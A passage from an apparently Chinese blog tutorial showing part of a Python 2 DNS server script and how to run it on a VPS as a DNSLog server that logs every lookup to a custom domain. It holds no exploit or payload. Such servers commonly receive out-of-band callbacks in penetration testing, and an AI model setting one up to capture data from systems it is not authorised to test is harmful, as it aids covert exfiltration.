print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
socket.sendto(dns.getbytes(), self.client_address)
else:
# If this is not query a A record, ignore it
socket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port

def addname(self, name, ip):
SinDNSServer.namemap[name] = ip

def start(self):
HOST, PORT = "0.0.0.0", self.port
server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()

# Now, test it
if __name__ == "__main__":
sev = SinDNSServer()
sev.addname('ns0.nogan.ga','x.x.x.x')
sev.addname('ns1.nogan.ga','x.x.x.x')
sev.addname('www.nogan.ga','y.y.y.y')
sev.addname('*', '127.0.0.1') # default address

sev.start() # start DNS server


将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。

接着在服务器上运行

1
python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN:

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:

想要关闭的话,先查看端口并获取进程号,然后kill即可:

Enjoy it~

附:

搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):

https://bandwagonhost.com/cart.php
可能要扶梯 = =

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×